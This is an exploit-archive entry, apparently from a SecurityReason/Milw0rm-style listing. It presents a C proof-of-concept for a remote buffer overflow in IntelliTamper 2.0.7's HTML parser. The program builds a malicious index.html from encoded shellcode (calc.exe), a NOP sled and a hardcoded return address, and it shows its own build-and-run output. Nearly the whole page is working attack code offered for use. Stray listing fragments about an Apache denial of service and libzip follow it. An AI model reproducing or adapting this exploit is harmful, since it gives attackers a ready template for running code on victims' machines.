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ExploitAlert : 4375 SecurityAlert : 4058 (Exploit Details) Milw0rm ID : 6121 Credit : r0ut3r Date : 23.07.2008 Exploit Code : /* IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow Just a C version of Guido Landi's discovery. Written by r0ut3r (writ3r [at] gmail.com) kit:/home/r0ut3r/public_html # gcc -o intell intell.c kit:/home/r0ut3r/public_html # ./intell [+] Building payload [+] Success writing to index.html kit:/home/r0ut3r/public_html # */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(void) { FILE *fp; char payload[491]; /* 464 */ /* calc.exe shellcode x86/alpha_mixed succeeded, final size 344 */ unsigned char shellcode[] = "\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" "\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58" "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c" "\x4d\x38\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a\x4f\x4c\x4b" "\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50" "\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49\x50" "\x4d\x49\x4e\x4c\x4b\x34\x49\x50\x43\x44\x43\x37\x49\x51\x49" "\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44" "\x47\x54\x45\x54\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45" "\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" "\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a" "\x4b\x4c\x49\x51\x4c\x51\x34\x43\x34\x48\x43\x51\x4f\x50\x31" "\x4c\x36\x45\x30\x51\x46\x42\x44\x4c\x4b\x51\x56\x46\x50\x4c" "\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b" "\x45\x38\x43\x38\x4b\x39\x4c\x38\x4c\x43\x49\x50\x43\x5a\x50" "\x50\x43\x58\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4c\x58" "\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42\x43\x46" "\x5a\x51\x4c\x42\x57\x42\x49\x42\x4e\x42\x44\x42\x4f\x42\x57" "\x43\x43\x51\x4c\x43\x43\x44\x39\x43\x43\x43\x44\x43\x55\x42" "\x4d\x47\x43\x50\x32\x51\x4c\x43\x53\x45\x31\x42\x4c\x42\x43" "\x46\x4e\x45\x35\x44\x38\x42\x45\x43\x30\x45\x5a\x41\x41"; char eip[4] = "\x23\x44\x06\x7d"; char html[16] = "<a href='http://"; char chtml[11] = "'>yahhh</a>"; fp = fopen("index.html", "wb"); if (fp == NULL) { perror("Failed opening index.html\n"); return EXIT_FAILURE; } printf("[+] Building payload\n"); memcpy(payload, html, sizeof(html)); memset(payload+sizeof(html), 0x90, 116); memcpy(payload+sizeof(html)+116, shellcode, sizeof(shellcode)); memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1, eip, sizeof(eip)); memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1+sizeof(eip), chtml, sizeof(chtml)); fprintf(fp, "%s", payload); if (fclose(fp) == 0) printf("[+] Success writing to index.html\n"); else printf("[-] Failed writing to index.html\n"); return 0; } Feedback : If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com. |
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Allow attacker to denial of service apache 2.2.17 server |
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» libzip 0.9.3 |
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